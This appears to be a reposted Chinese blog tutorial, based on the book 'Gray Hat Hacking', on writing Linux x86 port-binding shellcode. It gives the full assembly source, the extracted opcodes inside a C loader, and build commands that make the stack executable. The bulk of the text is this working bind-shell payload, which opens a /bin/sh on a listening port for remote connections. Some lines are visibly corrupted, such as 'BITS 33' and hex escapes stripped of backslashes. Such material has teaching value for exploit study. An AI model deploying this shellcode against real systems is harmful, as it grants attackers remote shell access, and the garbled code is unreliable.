概述
本次实验都是基于《灰帽黑客:正义黑客的道德规范、渗透测试、攻击方法和漏洞分析技术》
实现端口绑定shellcode有下面几个步骤:
(1) 创建一个TCP套接字;
(2) 将该套接字绑定到攻击者指定的端口,这个端口通常会被硬编码到shellcode中;
(3) 让该套接字成为侦听套接字;
(4) 接受新连接;
(5) 将新接受的套接字复制到stdin、stdout和stderr上;
(6) 创一个新的命令shell进程(它将通过这个新套接字接受输入数据并发送输出结果);
port_bind_asm.asm
BITS 33 section .text global _start _start: xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx ;server=socket(2,1,0) push eax push byte 0x1 push byte 0x2 mov ecx,esp inc bl mov al,102 int 0x80 mov esi,eax ;bind(server,(struct sockaddr *)&serv_addr,0x10) push edx push word 0xBBBB push word 0x02BB mov ecx,esp push byte 0x10 push ecx push esi mov ecx,esp mov al,102 inc bl int 0x80 ;listen(server,0) xor edx,edx push edx push esi mov ecx,esp mov bl,0x4 mov al,102 int 0x80 ;client=accept(server,0,0) xor eax,eax push eax push eax push esi mov ecx,esp inc bl mov al,102 int 0x80 mov ebx,eax ;copied returned file descriptor of client to ebx ;dup2(client,0) xor ecx,ecx mov al,63 int 0x80 ;dup2(client,1) inc ecx mov al,63 int 0x80 ;dup2(client,2) inc ecx mov al,63 int 0x80 ;standard execve("/bin/sh"...) xor edx,edx push edx push long 0x68732f2f push long 0x6e69622f mov ebx,esp push edx push ebx mov ecx,esp mov al,0x0b int 0x80 _end: nop
汇编这个源代码文件,链接该程序,然后就可以执行:
nasm -f elf port_bind_asm.asm
ld -o port_bind_asm port_bind_asm.o
这步成功后,接下来就是提取十六进制操作码。我用自己编的一个自动提取shellcode的opcode脚本把它提取出来,生成一个abc.c文件。
abc.c
unsigned char shellcode[] ="x31xc0x31xdbx31xc9x31xd2x50x6ax01x6ax02x89xe1xfe" "xc3xb0x66xcdx80x89xc6x52x66x68xbbxbbx66x68xbbx02" "x89xe1x6ax10x51x56x89xe1xb0x66xfexc3xcdx80x31xd2" "x52x56x89xe1xb3x04xb0x66xcdx80x31xc0x50x50x56x89" "xe1xfexc3xb0x66xcdx80x89xc3x31xc9xb0x3fxcdx80x41" "xb0x3fxcdx80x41xb0x3fxcdx80x31xd2x52x68x2fx2fx73" "x68x68x2fx62x69x6ex89xe3x52x53x89xe1xb0x0bxcdx80"; main() { void (*fp)(void); fp = (void *)shellcode; fp(); }
然后编译:gcc -z execstack -o port_bind_sc abc.c
最后执行,也是成功。在ubuntu下编译时必须加-z execstack,使堆栈可执行。在rhel下,似乎不必。反正读测试成功了。并且能用另一台机器访问。
转载于:https://www.cnblogs.com/Jason-Damon/archive/2013/06/02/3114054.html
最后
以上就是炙热耳机为你收集整理的linux下端口绑定shellcode编写与实现的全部内容,希望文章能够帮你解决linux下端口绑定shellcode编写与实现所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复